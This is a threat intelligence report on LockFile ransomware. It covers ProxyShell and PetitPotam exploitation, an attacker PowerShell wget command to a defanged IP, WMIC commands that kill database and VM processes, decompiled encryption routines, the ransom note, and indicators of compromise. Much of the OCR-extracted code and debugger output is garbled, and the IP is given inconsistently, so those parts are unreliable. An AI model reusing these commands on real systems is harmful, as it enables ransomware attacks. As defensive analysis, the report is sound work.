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The LockFile ransomware was first seen in July 2021 and has been highly active since then. It has global
operations, and most of the victims are from the United States of America and Asia. The ransomware group hosts a
website in the TOR network to guide victims to pay the ransom and subsequently get the instructions to decrypt the
files. This webpage contains a uTox ID and an email address to contact the Threat Actor (TA), as shown in the
figure below.
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Figure 1: LockFile Ransomware Website

Cyble Researchers found that a few details indicate that the ransomware gang could also be related to the other
threat actors from the ransomware website. For example, as mentioned inthe ATTENTION section of the website, the
last line mentions a wallpaper being provided by lockbit, and the contact email contains a reference to Conti.

Recently the Threat Actor (TA) behind LockFile has started attacking Microsoft Exchange Servers

using ProxyShell attack. The ProxyShellattack uses chained Microsoft Exchange vulnerabilities mentioned in the list
below, resulting in unauthenticated code execution. Orange Tsai, a Principal Security

Researcher from Devcore, recently discovered these vulnerabilities. Following is the list of vulnerabilities.

o CVE-2021-34473- Pre-auth Path Confusion leads to ACL Bypass (Patched in April by KB5001779)
o CVE-2021-34523- Elevation of Privilege on Exchange PowerShell Backend (Patched in April by KB5001779)
o CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE (Patched in May by KB5003435)

According to a Symantec blog post, after successful exploitation, the TA uses the PowerShell command.

powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighylFS5foGNXH
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The PowerShell command in use is unknown, but on August 13, 2021, an independent security researcher captured
the associated IP address (209.74.0[.]234). According to the researcher, attackers used this IP to exploit ProxyShell
Vulnerability.

Researchers also found that 20 to 30 minutes before the deployment of ransomware, the TA drops three files:
An Exploit for PetitPotam vulnerability (CVE-2021-36942), namely efspotato.exe.
Two files: active_desktop_render.dll and active_desktop launcher.exe

PetitPotam vulnerability allows the TA to compromise Domain Controller, which results in the compromise

of the complete Active Directory. The PetitPotam technique uses MS-EFSRPC (Microsoft's Encrypting File System
Remote Protocol), Which is responsible for performing maintenance and management operations on the encrypted
data stored on the remote system.

As per Symantec, the executable active _desktop_launcher.exe is legitimate

software, but active_desktop_render.dll is a malicious Dynamic Link Library (DLL). The active_desktop_render.dll is
loaded using the DLL Search Order Hijacking attack. After loading, the DLL file drops and

decrypts desktop.ini in a local directory. This desktop.ini then loads and executes shellcode, which then

activates the efspotato.exe file that is exploited for the PetitPotam vulnerability.

Upon compromising the domain, the TA then deploys LockFile ransomware in various systems of the
compromised domain.

Cyble Research found one of the LockFile malware samples from the surface web while conducting routine Open-
Source Intelligence (OSINT) threat hunting exercises. The figure below shows the high-level

execution flow of LockFile Ransomware. The malware initially kills all the known processes related to virtual
machines, databases, and other related services. Then, it iterates through drives into the system to find the logical
drive to search for files and folders. After the files are found, the malware checks the extensions of the file, and if
matched to the pre-defined file extension, the ransomware encrypts it. After completing the encryption process, it
deletes itself.
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Figure 2 High-level execution flow of LockFile Ransomware

Technical Analysis

Our static analysis found that the malware is a Windows-based x64 architecture Console application written in C/C++
and compiled on 2021-07-03 18:15:34, as shown in the figure below.
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Static details of LockFile Ransomware
As shown in the figure below, the malware creates several subprocesses to perform several activities upon
execution.

=) % LockFile exe (6712) = \Useus\MdWomﬁanon\D&slaop\LodsFle exe” 24-08-2021 05:16.._. 24-08-2021 05:17-..
18 Conhost exe (5444) ) il & 3 24-08-2021 05:16:... 2408-2021 05:17..
= il omd exe (5300) Wind.§ C: \Wn:luws\sy!emﬂ\:md &xe /o wmic process whcl! ‘name like “vmwp L™ call terminate 24-08-2021 05:16:...

24-08-2021 05:16:..
S WMIC exe (316) WMl _J wmic process where "name like “wmwp™ call terminate 24-08-2021 05:16.... 24-08-2021 05:16....
= ¥ cmd exe (5480) Wind § C:\Windows'\system32\cmd exe /c wmic process where “name like “virtualbox ™™ call teminate 24-08-2021 05:16:... 2408-2021 05:16:..
i WMIC exe (3776) WMI.§ wmic process where "name like “viruabox %™ call temminate 24-08-2021 05:16:... 24-08-2021 05:16:,
= g8 omd exe (B608) Wind. § C:\Windows'system32\cmd.exe /c wmic process where "name like "ivbox "™ call terminate 24-08-2021 05:16:... 24-08-2021 05:16:...
45 WMIC exe (2540) WM | wmic process where "name lke “ivbox %" call teminate 24-08-2021 05:16.... 24-08-2021 05:16:...
= 38 omd exe (5400) Wind § C:\Windows'system32\cmd exe /c wmic process where "name like sglservr.” call temminate 24-08-2021 05:16:... 24-08-2021 05:16:.
4 WMIC exe (7852) WMI J wmic process where "name like "sglservrs™ call temminate 24-08-2021 05:16:.... 24-08-2021 05:16...
= 8 omd exe (4352) Wind § C:\Windows'system32\cmd exe /c wmic process where “name like “imysgld %™ call terminate 24-08-2021 05:16.... 24-08-2021 05:16:...
5 WMIC exe (5464) WMl § wmic process where “name like “mysgld %™ call teminate 24-08-2021 05:16:... 24-08-2021 05:16:..
= i omd exe (5204) Wind § C:\Windows'system32'cmd exe /c wmic process where "name like “Lomtsreco®.™ call terminate 24-08-2021 05:16:... 24-08-2021 05:16:,
ﬁ}iWMIC.m (6532) WMI _§ wmic process where "name like “omtsreco™™ call terminate 24-08-2021 05:16... 24-08-2021 05:16....
= g8 cmd exe (708) Wind § C:\Windows'system32\cmd exe /c wmic process where “name like “oracle.™ call terminate 24-08-2021 05:16:... 2408-2021 05:16:...
i WMIC exe (1808) WMl § wmic prcess whers “name like “oracle’.” call teminate 24-08-2021 05:16:... 24-08-2021 05:16:.
= gl omd exe (1020) Wind.§ C:\Windows'system32\cmd exe /c wmic process whene "name like “inslsnr’.™ call terminate 24-08-2021 05:16.... 24-08-2021 05:16:..
S WMIC exe (2124) WMI_§ wmic process where “name like “inslsnr.™ call teminate 24-08-2021 05:16.... 24-08-2021 05:16:...

S omd exe (7452) where "name like “vmware %" cal terminate 2443-2021 05:16:.

24-08-2021 05:16:

.ﬁ’ﬁWMIC exe (3444) WMI .§ wmic process where "name like “wmware %™ call terminate . 24408-2021 05:16:..
¥ mshta exe (6172) Micro | mshta "C:\Users\Public\LOCKFILE-README hta" {1E460BD 7-F 1C3-4B2E- BSBF~4E77{]A28MF5JU E__J24-08-2021 05:17.... 24-08-2021 05:17:...
mshta exe (5948) Micro... : ~ - 8 .. 24082021 05: n/a
ffjmshta exe (5456) Micro... mshta "C \Users'Public\LOCKFILE-README ] h‘.a" {1E460BD7- F‘ICHBZE BSBF4ET"0-‘1283.-\F5H1E . 24-08-2021 05:17.... 24-08-2021 05:17:.
Fmshta exe (6676) Micro... mshta "C:\Users\Public\LOCKFILE-README hta™ {1E4G0BD7-F1C3-4B2E-BEBF-4E770A28BAFS}{1E .. 24-08-2021 05:17.... 24-08-2021 05:17...
i mshta exe (660) Micro... mshta “C:\Users\Publc\LOCKFILE-README hta™ {1E460BD7-F1C3-4B2E-B8BF-4ETT0AZ8BAFSHIE .. 24-08-2021 05:17.... 24-08-2021 05:17:
5 mshta exe (8136) Micro... mshta "C:\Users\Public\LOCKFILE-README hta" {1E460BD7-F1C3-4B2E-88BF-4ET70A288AFSH1E .. 24-08-2021 05:17-... 24-08-2021 05:17:
;’fjnnHa exe (7564) Micro... mshta "C:\Users\Public\LOCKFILE-README hta™ {1E460BD7-F1C3-4B2E-BSBF-4E770A28BAFSH1E.., 24-08-2021 05:17.... 24-08-2021 05:17:..
mmsl'l..! exe (3096) Micro... mshta "C:\Lisers\Pubbe\LOCKFILE-README hta” {1E460BD7-F1C3-4B2E-BSBF-4E770A28BAFSHIE... 24-08-2021 05:17.... 24-08-2021 05:17...
¥ mshta exe (6300) Micro... mshta "C:\Users\Public \LOCKFILE-README hta" {1E460BD7-F1C3-4B2E-83BF-4ETT0AZ88AFSHIE .. 24-08-2021 05:17.... 24-08-2021 05:17-..
*Smshta exe (1700) Micro..._mshta "C:\Lisers'\Public\LOCKFILE-README hta" {1E460BD7-F1C3-4B2E-83BF-4E770A288AFSH1E .. 24-08-2021 05:17.... 24-08-2021 05:17.

= M omd exe (1508) Wind..| :md,cpmg 127.0.0.1 -n 5 &8 del "C:\Users"MalWork station'\Desktop'Lock File axe” 44 exit 24-08-2021 05:17.... 24-08-2021 05:17...
# Conhost exe (6760) Conso... \ ; -ForceV1 24-08-2021 05:17-... 24-08-2021 05:17-...
# PING EXE (5068) TCPA.. aing 127.0 0105 24-08-2021 05:17.... 24-08-2021 05:17-..

Figure 4: Process Tree created by LockFile Ransomware

The subprocess kills various running processes shown in Table 1. The malware uses the Windows Management
Interface Command (WMIC) command and provides the process name as a wild card inbetween %% to achieve this
task. WMIC is a simple command prompt tool that returns information about the system you are running it on.

The list of commands which the malware has executed is shown in table below.

Command Target
Process
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C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%ovmwp%" call terminate vmwp

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%virtualbox%" call virtualbox
terminate
C:\Windows\system32\cmd.exe /c wmic process where “name like ‘%vbox%" call terminate vbox

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%sqlservr%" call terminate  sqlservr

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘%omysqld%" call terminate  mysqld

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%oomtsreco%" call omtsreco
terminate

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%oracle%" call terminate oracle

”

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%tnslsnr%" call terminate tnslsnr

C:\Windows\system32\cmd.exe /c wmic process where “name like ‘Y%ovmware%" call terminate  vmware

Table 1 WMIC Commands executed by Ransomware to Kill Processes
Once the ransomware kills all the processes, it iterates through the victim’s machine and encrypts the user document
files and appends extensions with .lockfile, as shown in the figure below.

v 4 B > TisPC 5 Local Disk(C:) » Tools » procdot

B iDefense Date modified

Figure 5: Files encrypted by LockFile
Once the files are encrypted, the malware launches an HTML Application file (HTA) to show the ransom message to
the user, as shown in the figure below, and then deletes itself.
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All your documents, databases, backups, and other critical files were encrypted.
Qur software used the AES cryptographic algarithm (you can find related information in Wikipedia).

Wh at It happened because of security problems on your server, and you cannot use any of these files anymaore. The only
way to recover your data is to buy a decryption key from us.

happened?

To do this, please send your all file size to the contacts below.

o During a short period, you can
E-mail ——— = — Sl buy a decryption key with a

50% discount
Wallet: D o 0 days 23:47:29

Right after payment, we will send you a specific decoding software that will decrypt all of your files. I The price depends on how soon you will
you have not received the response within 24 hours, please contact us by e-mail = = contact us.

= exgprotonmail.com.

All your files will be deleted permanently in: 1day 23:47:29

Attention! What guarantees do you have?
| Interruption of encryption will result in file corruption! Do not try to recover files yourself. this Before payment, we can decrypt three files
process can damage your data and recovery will become impossible. for free. The total file size should be less
than 5MB (before archiving), and the files
| Do notwaste time trying to find the solution on the Internet. The longer you wait, the higher will should not contain any important
become the decryption key price. information (databases, backups, large
tables, etc.)

| Do not contact any intermediaries. They will buy the key from us and sell it to you at a higher
price.

Figure 6: Ransom Message Created by LockFile

Code Analysis and Debugging

The figure below shows that the malware calls a series of WMIC commands to kill various processes upon
debugging. The list of commands is shown in Table 1.

C685 C7000000 00 mov byte ptr ==:Qrbpic7d R1Z  0D0000D0000000000
14 OFBESS 90000000 MOVZX £ax,byte ptr R13  00DO0ODOOOOO00000
4 A OF1F8400 00000000 15 . R14  00DOODODOOO00000
40007CB OFBGB40D 90000000  |mOvZX_eax,byte ptr 20]) R1S  0000000000000000
14 2C oc sub al,
4 A 888400 90000000 mov byte ptr ss:[rbptre RIP  00DOODOL40007CDL Tock11eex. 0000000140007C01
40007CC 48:FFC1 inc rox
14 4 48:83F9 37 emp rex, 3 ~ -
7 T: ¢ RAFLAGS  0000000000000344
4 . 72 E6 ib lockfileex.140007CBO T H A e
ES 267A0300 €21l lockfileex.14003F6FC g:: g EE 0 DF O
- e T bkl i 1 IF1
BB45 BOD mov eax,dword ptr ss:|rbp- g0
14 E 34 77 xor al, LASTEFFOr 00000005 (ERROR_ACCESS_DENIED)
4 8845 84 mov byte ptr ss:fr Laststatus CO000022 (STATUS_ACCESS_DENIED
40007CES 8B45 80 mov eax,dword ptr soff
14 E FECO al GS 0028 FS 0053
40007CEA L0 ES 0028 DS 0028
¢ s 00 00
14 8B45 80 1 SRR (5
40007CF 04 02 i
4 i 34 63 xor al, 63 e . Default (x54 fastcall)
s : s 0 e Lar o e 1: rex 0D0O000ODDIAFCEO|“whic process where \'name ike ‘svmwpk'\" call terminate” |
R e o a1 % tr ss:grop ~|[2: rdx oooocooooo S— —
- AL 3: r8 000000000014FACS &"&. 4K"
< > 4: r9 000000000014FEDO
D00DO014003F6FC 5: [rspr20] 0000000000430000

Figure 7: WMIC commands used by LockFile ransomware to kill processes
Once the ransomware kills all the defined processes, it extracts the ransom note content from the executable, as
shown below.
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xor €1,
nov nyte ptr ssiffrbprrdx+s4),cl
1nc ry

{h '|ﬂ¢kfi'|!!l 140008F&0
ea rex, quord per ss:
S:Rrbpih

an 54
41 BEAS a}uuuuoo soy byté prr

4 :frbp+&0 3
£8 7367030 €&11 lockrileex. 14003F

661 0FEFLS sFFausuu novdga wmmz ,xmmword pre ds:[140068850] 000 "AAAAAAAAAARARASA"

ls BDOS DE250700 'Iea a awrd prr ds [1400?!5!'0] 000C " ) LE 1 WTML 4.01 Transitional//EN\" " "RTTP: //www.w3. or g,/ TR /Iml 4/ 10058, dTd) ">\ nadmmi=ir
OFiF 4400 0O

F3: 0FGF40 FO no\rdqu X, e d ptr e L ax-10]

83C1 40 dd ecx, 4

4828040 40 e sgword ptr ds :[rax=4a] ¥./5%9,8/4|c/ caz\"3.—- |c/. cazs-$\"5 (. /| cBSZcaz(/&-5(/25 §|c852ca6(/%. 625 5§|c
661 OFEFCZ pror xmmd,

FI:0FTF40 BO movdqu ximord per ds [ra\ 50] , xmemd n showInTaskBar=\"/.ca"

F3:0FEF4E CO mavdqu S aummnrd : [Fax-40] .cal

BE:DFEFCA proF xmml,

FI:OFTF4E CO mavdgu xmrd prr ds:[rax-40] ,xmml "S.ea"

£E:OFEFCA movdqa Xmml ,xmm2

F3:0FEF40 DO movdqu xmmd, xmmword prr o ds Eran 30]

66:0FEFC2 pxOr  Mmmd , Xmmz2

FRIOFTF40 DO movidqu xmmword pEr ds: [rax-30],xmm0

FI:OFEF40 EO movdqu xmm, s.mmoru PEF ds:[rax-20]

663 OFEFCE pxor xmml, xmm

F3:0F7F48 EO | mavdqu md ptr ds: [rax-z0],xmmi

Figure 8: Ransom Note Extracted from LockFile Ransomware in Memory

Afterward, the malware gets the list of drives using the GetLogicalDriveStringsA Application Programming Interface
(API). Finally, the list of drives is passed one at a time to GetDrive TypeAAPI, after which the result compares with 03
(DRIVE_FIXED), which indicates whether the found drive is fixed media, e.g., Logical Drives as shown below. Once
the drive is located, the malware creates a thread to conduct further ransomware activity.

LogicalDriveStringsA = GetlLogicalDriveStringsA(®xFFu, Buffer):; |
_UWORD T)Handles = @1b4;
viBE = BiBd;

V187 = BiBd;
V108 = BiBd;
viBo = Bigd;
if ( LogicalDriveStringsad )
1
v35 = Handles;
do ,
I Figure 9:
if { GetDriveTypeA(&Buffer[v33]) == "\x83" }// Check For Fixed Media
1
+Hv32;
*y354++ = CreateThread(@ie4, @isd, _DeleteExceptionPtr, &Buffer[v33], @, &ThreadId);
}
VIS 4= 4.

while { v33 < LogicalDriveStringsA );

}

L B T e LT |, g a A.rrrrrerey .

Fixed Media checked by LockFile
The malware thread creates LOCKFILE-README .hta in the root, as shown in the figure below.

. 48:83F9 13 cmp rcx, LastStatus COO0000D (STATUS_INVALID_PARAMETER)
. ~ 72 EC ib 1ock1'1‘lee:< 140006000
. 4C:8D4D AD lea r9,qword ptr ss:frbp-co] G5 D0ZB FS 0053
. 4C:BBCE bisd ra,rsi ES 002E DS 002B
. gl b = €S 0033 ooze
. 48:8D4D EO 1a:'rr_x,mr a3
Ea— ES_AS5240000 call Jlockfileex. 1400092A0
. - Default (x64 fastcal)
. 'Iea rox, qwurd ptr w i rex
. v rhmed mre cocBeenios 2: rdx 000000D0L40068AE4 xs\\,ss
> 3: ra 00000000001 4FDED "C:
42 11FD30 "LOCKFILE-README. hta"
rcx=000000000211FDDO £
qword ptr ss:[rbp-20]=[000000000211FDDO] =0 5: f""*m] 0000000000000000
. Text: 00000001400060F2 Tockfileex,exe: S6DF2 #61F2

Figure 10: LockFile’s Thread creating LOCKFILE-README .hta in C./
Then the ransomware starts iterating through the files and folder. The code passes whatever files/folders are found
through a series of checks. The checks are mentioned below list.

1 — desktop.ini string is not present in the filename
2 — WWindows is not present in the full path

3 — LOCKFILE string is not present in the filename
4 — NTUSER string is not present in the filename

The checks are shown in the below code.

6/11


https://windows/

stropy(Substr, “oswvirmpslT);

for (1 = @igd; 1 < 9; ++1 )
Substr[i] -= 7; .
if ( !strstr(FindFileData.cFileName, SubStr) Figure 11: Checks performed

&& !strstr(Str, "\\Windows")
&% lstrstr(FindFileDatas.cFileName, "LOCKFILE")
&% !strstr(FindFileData.cFileName, “"NTUSER"} )

by LockFile.
Once all the checks are passed, the malware compares the files extension with a pre-defined extension embedded in
the malware. The code is shown in the figure below.

V12 = 8;
if ( alcd[e] )
1

yl3 = d:
while ( 1 )
1
/14 = strlwr(FindFileData.cFileName); Figure 12: File Extension Compared by LockFile
15 = strstr(vls, Zalcd[268 * v124+4+]);
vi3 += 268;
if ( wis )
break;

if ( !*wl3 )
goto LABEL_31;

For example, in the below figure, we can see that the malware is comparing 36897c.rbf extension
with . 7cd extension.

4 ::lgg;uauu ﬁ’:&'d:f:;; L R11  0000000000000FFD
1 . 48: BECE MOV rox,rax R1Z  0000000000000000
. ES AZBBOZ00 €all Tockfileex.140032744 R13  0000000000000000
i wf FFCE inc esi
i o 48: SDEF 04010000 lea rdi,qword ptr ds:[rdi+104] R15 000000014007 6830 . 1CH
b w0 48; 85C0 test rax,rax —
H . v 75 09 Jne Tockfileex. 140006C13 RIF  000D0000140006BFD lockf1leex. 00000001400068!
' .l 3807 cmp byte ptr ds:[rdi],al
i . ~ 75 CC jne Tockfileex.140006BE0
| . ~ ES AADOOOOD %mn Tockfileex. 140006CC3 ;;Légs” Enoggngoooamzos
£ . 4C: 8D4AC24 5C Tea r3,qword ptr ss: OF 0 SFO DF O
! . 4C: 8D45 7O lea r&,gqword ptr s c TE £
' . 48:8D15 B31E0G00 lea rdx,qword ptr CF o 0 IF1
| . 48: 8DED 70020000 lea rox,gword ptr ss: §
! . E8 EB260000 €&l Tockfileex. 140009 LastError 00000012 (ERROR_NO_MORE_FILES)
| . 45: 8DSD 70020000 Tea rcx,gword ptr ss:rbp+270) Defauit (x64 fas
[ DOC EB EFFAFFFF €&l lockfileex.14D0066B0 W — =
. - = 1: rcx 000000000211EE2C “36897C.rbf
b < LA FO 0140076830 ".1cd"
Fdx=0D00000014007 6630 ~.1cd" 3: r& 000 211EE2C "36B97C.rbf
| rbx=0000000140076830 ™. 1cd" 3
5: [rsp+20] 6CEIGEEBE3GFECZE
. text:0000000140006BF7 lockfileex.exe: S6BF7 #SFF7 |

Figure 13 Ransomware Check File Extension
Similarly, the malware compares all extensions, shown in Table 2, with the victim’s file. This activity helps
us conclude that the malware is targeting only a specific extension file.

lecd
gz
7zip
.acccdb
.ai
.asp
.aspx
.backup
.bak
.cd
.cdr
.cdx
.cer
.cf

.cfl
.cfu
.config
.Cs
.CSV
.dat
.db
.dbf
.doc
.docx
dt
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.dwg
.edb
.efd
elf
.epf
.erf
fpt
.geo
.grs
.html
.ibd
jpeg
Adf
Agf
Igp

Jlog
.mdb

.mdf
.mft
.mp3
.mx|
.myd
.odt
.pdf
.pff
.php
.ppt
.pptx
.ps1
.psd
.pst
.rar
.sin
.sql
.sqlite
.st
tiff
Ixt
vdi
.vhd
.vhdx
.vmdk
vrp
.wdb
Xls
Xlsx

.Zip
Table 2 List of File Extensions which are targeted by ransomware

As shown below in figure 14, once the file is found with the defined extension, the malware reads the plain text
content from the file.
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*(OWORD *lve =_*{ QWORD *)u2:

Filef = CreateFileA(lpExistingFileName, BxCoepeece, B, 8is4, 3u, Bx38u, Bie4);
vib = -__E--
if ( FileA == (HANDLE)-1i64 )
return &;
FileSize = GetFileSize(FileA, (LPDWORD)FileSizeHigh);
w18 = FileSize | ((unsigned _ int64)(unsigned int)FileSizeHigh[@] << 32);
vdd = v18;
vig = ((({v13 »>> 63) & @xF) + v13) & BxFFFFFFFFFFFFFFFAUiGL) + 536;
if ( 'vig )
return @;
FileMappinghA = CreateFileMapping&(vlc, @i64, 4u, HIDWORD(v19), v19, @i64); Figure 14 Read Plain Text
v21l = FileMappingA;
if ( !FileMappingd )
return &;
v23 = (_ ml281 *)MapViewOfFile(FileMappings, @xF@@1Fu, 8, @, v19);
if { w23 )
return &;
if ( (unsigned int)sub_l4e@@18Fe(v22, v1sd, v24, w25, w23, &vw38) )
V26 = v39;
v27 = {__inté4 *)((char *)v23->ml28i_i64 + v3a);
do
1

content from Victim’s File

It then calls another user-defined function for encrypting the content using Advanced Encryption Standard (AES), as

shown below.

v19, BiG4);

Figure 15 Call Encryption

vlg = FileSize | ((unsigned __int&4)(unsigned int)FileSizeHigh[®] << 32);
vae = v1d;
w19 = (((( 18 »» 63) & @xF) + v13) & BxFFFFFFFFFFFFEFFAUiGL) + 536;
i (i)

return a;

__E.app ngh = CreateFileMappingaA(vle, @i64, 4u, HIDWORD(v19),
w21l = FileMappingA;
i ileMappingh )

return a;
w23 = {_ ml28i *)MapViewOfFile(FileMappingh, @xF@@1Fu, &, @, v19);
if ( w23 )

retyrn 8;

| if ( (unsigned int)sub_14@@@18F@(v22, v18, v24, v25, vi3, &v38) ) |

L

V2E = v3d;

w27 = (__int64 *)((char *)v23->ml28i_i64 + v3B);

do

1

Function to encrypt the content

Once the content is encrypted, the malware writes it into the file, and then it appends the encrypted file with
extension ./ockfile using MoveFileA API, as shown in the below figure.

4
UnwapVieuﬂfFile(uEB);

NEwr1leName, @, @x184uied);

strepy(v37, "-{6twksngtm");
do
vIT[vie+] -= 8;

while ( vl < @xB };

i=priptfafiewEileame w37 JpFudetinorilafama).

return MoveFileA(lpExistingFileName, NewFileName); I
]
file
The same activity is shown below in figure 17.
000000014000 41:5F pop ris

0000014 41:5C pop ri2
000000014 5F pop rdi

000001 5B pop rbx
000000014 5D pop rbp

DO000014 c3 ret

<

Figure 16 Append .lockfile extension to the user document

GS 0028 FS 0053
EC_AnTD__RE_nnoo

E rcx 000000000211E890 “C:\\iDefense\\} test.

MAPY Y 7z"
rdx 000000000211E300 “C:\\iDefense\\MAP\\Test.7Z.lockfile”
rs 0000000000000020

: [0000000140057008 & Hf1BHfdS (" ]=00007FFE23AB27D0 "Hf18HfdS (™

0140006973 lockfileex.exe:$6973 #5D73

21
3:
4: r9 000000000211E168

5: [rsp+20] 0000000000500000

Figure 17 Append .lockfile extension to the user document file while debugging
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Once all the files have been encrypted, the malware creates a ransom note .hta
file in the C:\Users\Public directory, as shown in the figure below.

_- C64424 :C :1'9 mov byte ptr ss:fir €S 0033 E 0028
B59 C64424 7D 55 mov byte ptr r
7B5E CE4424 7E 40 mov byte ptr rs
B84424 TF mov byte ptr ss:fr Default (x64 fastcal)
oF 4424 X ea r =
D e ErIEERERS WEEA LI ; 1:rCX 0000000000127 830 "C7\\USEr S\\PUB1 1€\ \LOCKF ILE-READNE. ita”
s:Brso+r v f2: rdx 00000000C0000000
114 OFB64414 6C movzx eax,byte ptr ss:lrsp+rdx+6Cll 3: r8 0000000000000000
< L4 41 rd 0000000000000
J00001400570C0 “PKE#P\X7F" ] =<kernel3z.Createrileas 5: [rsp+20] 0000000000000002

¥077C5 lockfile.exe:$77C5 #6BCS

Figure 18 Creates .HTA ransom file C:\Users\Public
Once the .hta ransom file is created, it calls CreateProcess API to launch the .hta file using mshta.exe windows
utility. The mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.

55 0078 F5 0053
ES 0028 D5 0028
€5 0035 55 0028

851 BHE BEBUBUG POV AN, QWOrD DIT 037 LLAUG/BLAU)
45: 3304 XOF rax,rip

8: 8985 E0020000 mov_quord pte ss:frbpeeof,rax
FFLS TFFEO4D0 ERIN gword prr o:i[<sATloconsoles]
xor eds, eds

3302
48; BO0D LE 100600
FF15 EEFEO40
281 8BCE mOv rox, ra
3302 xor edx, eds

gmord ptr ds: [140068820]

Fd pTe o5 [<BF Wi ndowAs ] A

= w |21 rox 0000000000147830 “mshta % 7C:i%\Users\\Publ1c,\LOCKFILE-README, Nta,” {1EAG0BDT-F1C3-452E-BABF-4E77OA288AFS H 1EAG0B07-FAC3-4B2E-358F - 4E77 DAZASAFE }"
» [ r3 oooonooonoonoooo

£
(000000014008 7T0E0 &L UMJ 13H: & "] =00007 FRESSAGE 760 L UM] 1% 8 T | G

+20] OOOON0CONGOHO00

140007ATE Toackfile. exe: STATR WGETE

Figure 19 Launch.HTA ransom File using hvshta.exe
Finally, once all the files are encrypted, the malware deletes itself by calling the del command, as shown below.

14 : 5518950 EO mov word ptr St
4 OF1145 FO movups xmmword prr ss:
| po000001 40005665 § FF15 T50ADS00 | eal1 qword prr ds:[<acr

85C0 test_eax,ea

£s wun wa wues
T €5 0033 55 0028
efrocessas]

75 20 ine TockFile, 1400066SE

48: 8820 30020000 mov rcx,guword ptr ss:fjrop
4 481 330C ng

< » :

(D0BO00001400570ED &L UHrllH .5 " ]=0000TFFE23AGCTE0 ~L:UHJ1XH:, § © r: [Fsp+20] 2037444200000000

i rex
2308 w 014F350 “ond /c ping 127.0.0.1 -n § &4 del \"Cr\\Users\\Malworkstation)\Desktop\\LockFile exe\” &4 exit”

: rdx @ 0
3: r8 (000000000000000

140006668 TockT1le. exe: S6665 #5AGE €

Figure 20 Use Del command to delete itself

Conclusion

The threat actors behind the LockFile exploit publicly disclosed vulnerabilities in sequence to attack Microsoft
Exchange Server and then use PetitPotam vulnerability to compromise the Domain Controller. After achieving these
two objectives, the TA drops the LockFile ransomware into the systems.

Based on the ransom notes, we speculate that the TA may be creating unique custom variants of
the LockFile ransomware for each victim organization.

Cyble Research Labs continuously monitors the LockFile ransomware activity; we will continue to update our readers
with our latest findings.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We
recommend that our readers follow the suggestions given below:

o Patch the CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207 as soon as possible if not
patched already.

mitigating PetitPotam impact.
o Regularly perform a vulnerability assessment of the organizational assets, majorly which are exposed
on the internet.

* Use a reputed anti-virus and internet security software package on your connected devices.

o Conduct regular backup practices and keep those backups offline or in a separate network.

« Refrain from opening untrusted links and email attachments without verifying their authenticity.

e Turn on the automatic software update feature on your computer, mobile, and other connected devices
wherever possible and pragmatic.

* Use strong passwords and enforce multi-factor authentication wherever possible.

MITRE ATT&CK® Techniques
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https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207
https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

Tactic

Technique ID

Technique Name

Reconnaissance

T1595.002 71591 T1593

Active Scanning Gather Victim Org Information Search Open
Websites/Domains

Initial Access T1190 Exploit Public-Facing Application

Execution T1059.001 Command and Scripting Interpreter: PowerShell
Defense Evasion T1574.001 Hijack Execution Flow: DLL Search Order Hijacking
Lateral T1210 Exploitation of Remote Services

Movement

Impact T1486 Data Encrypted for Impact

Indicators of Compromise (loCs):

Indicators Indicator Description
type
354a362811b8917bd7245cdd43fe12de9ca3fs5f6afe5a2ec97eec81c400a4101 SHA256 LockFile Ransomware

ed834722111782b2931e36¢fa51b38852¢813e3d7a4d16717f59¢c1d037b62291 SHA256  Malicious DLL

36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9 SHA256  Diriver file

5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203¢c5340a0f SHA256  Malicious executable

1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75 SHA256  Malicious DLL

7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dealcdad5ef193b052fd SHA256  PetitPotam exploit

bf315¢c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce SHA256  LockFile executable

209.14.0[.]234

About Us

IP Attacher’s IP
address

Cybleis a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and
exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk
footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as
one of the top 20 Best Cybersecurity Start-ups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with
offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble,

visitwww.cyble.com.
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https://attack.mitre.org/techniques/T1595/002/
https://attack.mitre.org/techniques/T1591/
https://attack.mitre.org/techniques/T1593/
https://attack.mitre.org/techniques/T1190/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1574/001/
https://attack.mitre.org/techniques/T1210/
https://attack.mitre.org/techniques/T1486/
https://cyble.com/

